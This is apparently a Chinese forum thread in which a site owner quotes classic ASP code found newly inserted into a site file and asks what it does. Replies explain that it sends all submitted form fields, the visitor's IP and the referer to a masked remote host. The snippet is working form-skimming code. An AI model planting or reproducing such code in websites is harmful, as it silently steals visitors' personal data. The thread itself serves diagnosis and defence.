日期:2014-05-17  浏览次数:21042 次

请问下这段代码是干嘛用的
if Request("user")<>"" and request("phone")<>"" then
On Error Resume Next
For Each q In Request.Form
t=t&q&"="&server.urlencode(Request(q))&"&"
Next
url="http://****.com/h/w.aspx?"&t&"ip="&Request.ServerVariables("REMOTE_ADDR")
set http=Server.createobject("Microsoft.XMLHTTP") 
Http.open "GET",url&"&ref="&Request.ServerVariables("HTTP_REFERER"),false:Http.send() 
set http=nothing 
end if

今日查看网站文件 发现一个文件多了这段代码 这段代码的用意是? 是不是吧我数据库的 if Request("user")<>"" and request("phone")<>"" then
这两个字段的数据转移到 那个url去。。

------解决方案--------------------
如果请求中有 user或phone这两个的字段,就把POST请求中的所有字段的值以及客户端IP和上一个页面的地址都发到那个url中.
------解决方案--------------------
造一个query string。然后远程拿数据。